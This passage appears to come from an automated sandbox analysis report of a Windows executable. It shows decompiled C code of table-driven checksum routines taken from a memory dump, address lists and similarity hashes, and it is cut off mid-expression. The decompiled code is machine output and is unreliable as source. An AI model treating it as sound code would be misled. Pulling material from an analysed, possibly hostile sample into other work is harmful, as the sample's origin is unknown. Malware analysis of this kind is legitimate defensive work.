(( *(0x4149c8 + ((_t98 ^ _t257[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + ((_t98 ^ _t257[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + ((_t98 ^ _t257[1]) >> 0x18) * 4) ^  *(0x4141c8 + (_t105 & 0x000000ff) * 4) ^ _t257[2]) >> 0x18) * 4) ^  *(0x4141c8 + (_t238 & 0x000000ff) * 4) ^ _t257[3]) >> 0x18) * 4) ^  *(0x4141c8 + (_t157 & 0x000000ff) * 4) ^ _t257[4]) >> 0x18) * 4) ^  *(0x4141c8 + (_t243 & 0x000000ff) * 4) ^ _t257[5]) >> 0x18) * 4) ^  *(0x4141c8 + (_t162 & 0x000000ff) * 4) ^ _t257[6]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (_t248 >> 0x18) * 4) ^  *(0x4141c8 + (_t248 & 0x000000ff) * 4) ^ _t257[7];
						_t257 =  &(_t257[8]);
						_t98 =  *(0x4149c8 + (( *(0x4149c8 + (_t167 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (_t167 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (_t167 >> 0x18) * 4) ^  *(0x4141c8 + (_t167 & 0x000000ff) * 4) ^  *_t257) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (( *(0x4149c8 + (_t167 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (_t167 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (_t167 >> 0x18) * 4) ^  *(0x4141c8 + (_t167 & 0x000000ff) * 4) ^  *_t257) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (( *(0x4149c8 + (_t167 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (_t167 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (_t167 >> 0x18) * 4) ^  *(0x4141c8 + (_t167 & 0x000000ff) * 4) ^  *_t257) >> 0x18) * 4) ^  *(0x4141c8 + (_t253 & 0x000000ff) * 4);
						_t262 = _t262 - 1;
					} while (_t262 != 0);
				}
				if(_t259 >= 4) {
					_t152 = _t259 >> 2;
					do {
						_t103 = _t98 ^ _t257[1];
						_t257 =  &(_t257[1]);
						_t259 = _t259 - 4;
						_t98 =  *(0x4149c8 + (_t103 >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4145c8 + (_t103 >> 0x00000008 & 0x000000ff) * 4) ^  *(0x414dc8 + (_t103 >> 0x18) * 4) ^  *(0x4141c8 + (_t103 & 0x000000ff) * 4);
						_t152 = _t152 - 1;
					} while (_t152 != 0);
				}
				_t258 =  &(_t257[1]);
				if(_t259 != 0) {
					do {
						_t178 =  *_t258 & 0x000000ff;
						_t258 =  &(_t258[1]);
						_t98 = _t98 << 0x00000008 ^  *(0x4141c8 + (_t98 >> 0x00000018 ^ _t178) * 4);
						_t259 = _t259 - 1;
					} while (_t259 != 0);
				}
				return ( !_t98 >> 0x18) + (( !_t98 & 0x0000ff00) + ( !_t98 << 0x10) << 8) + (_t99 >> 0x00000008 & 0x0000ff00);
			}

0x004102f0
0x0041030b
0x0041031b
0x00410321
0x00410326
0x00410328
0x0041032d
0x00410335
0x0041033b
0x00410342
0x00410343
0x00000000
0x00000000
0x00000000
0x00410343
0x00410328
0x00410345
0x00410345
0x0041034b
0x00410354
0x00410357
0x00410484
0x004104b6
0x004104c3
0x004104c6
0x00410536
0x0041053d
0x0041053d
0x00410544
0x00410548
0x0041054c
0x00410550
0x00410550
0x00410553
0x0041055d
0x00410593
0x00410595
0x00410595
0x00410550
0x00410598
0x0041059d
0x004105a0
0x004105a0
0x004105a3
0x004105b0
0x004105b7
0x004105b7
0x004105a0
0x004105e3

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a707402405e659f98bc40317dd1cd0cc62b6214a4faa6fed308a5dafce6d2b
Instruction ID: 1429709298f1008899e87f6c3b3879e7121ea009d7144b8a16b77f0414586c87
Opcode Fuzzy Hash: 52a707402405e659f98bc40317dd1cd0cc62b6214a4faa6fed308a5dafce6d2b
Instruction Fuzzy Hash: C171AF726208524BE718CF2DECE06763353E7D9312B4BC738DB4187796C638E962D694

Uniqueness

Uniqueness Score: -1.00%

Function 004102D0, Relevance: .2, Instructions: 193
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E004102D0() {
				intOrPtr _t93;
				signed int _t95;
				signed char _t98;
				signed char _t146;
				signed int* _t164;
				signed int _t165;
				signed int _t202;
				signed char _t234;
				unsigned int _t236;
				unsigned int _t241;
				signed int* _t242;
				signed int* _t243;
				unsigned int _t246;
				void* _t248;

				_t93 =  *((intOrPtr*)(_t248 + 8));
				if(_t93 != 0) {
					 *((intOrPtr*)(_t248 + 8)) = _t93;
					_t146 =  *(_t248 + 0xc);
					_t95 =  !( *(_t248 + 4));
					_t236 =  *(_t248 + 0x14);
					if(_t236 != 0) {
						while((_t146 & 0x00000003) != 0) {
							_t202 =  *_t146 & 0x000000ff;
							_t146 = _t146 + 1;
							_t95 = _t95 >> 0x00000008 ^  *(0x4131c8 + ((_t202 ^ _t95) & 0x000000ff) * 4);
							_t236 = _t236 - 1;
							if(_t236 != 0) {
								continue;
							}
							goto L6;
						}
					}
					L6:
					if(_t236 >= 0x20) {
						_t246 = _t236 >> 5;
						do {
							_t219 =  *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4);
							 *(_t248 + 0x18) = _t146 + 8;
							_t242 =  *(_t248 + 0x18);
							_t229 =  *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 0x18) * 4) ^  *(0x413dc8 + (_t224 & 0x000000ff) * 4) ^ _t242[2]) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (( *(0x4135c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + (( *(0x4135c8 + ((_t95 ^  *_t146) >> 0x00000010 & 0x000000ff) * 4) ^  *(0x4139c8 + ((_t95 ^  *_t146) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + ((_t95 ^  *_t146) >> 0x18) * 4) ^  *(0x413dc8 + (_t100 & 0x000000ff) * 4) ^  *(_t146 + 4)) >> 0x00000008 & 0x000000ff) * 4) ^  *(0x4131c8 + (_t219 >> 0x18) * 4) ^  *(0x413dc8 + (_t219 & 0x000000ff) * 4) ^  *_t242) >> 0x18) * 4) ^  *(0x413dc8 + (_t153 & 0x000000ff) * 4) ^ _t242[1]) >> 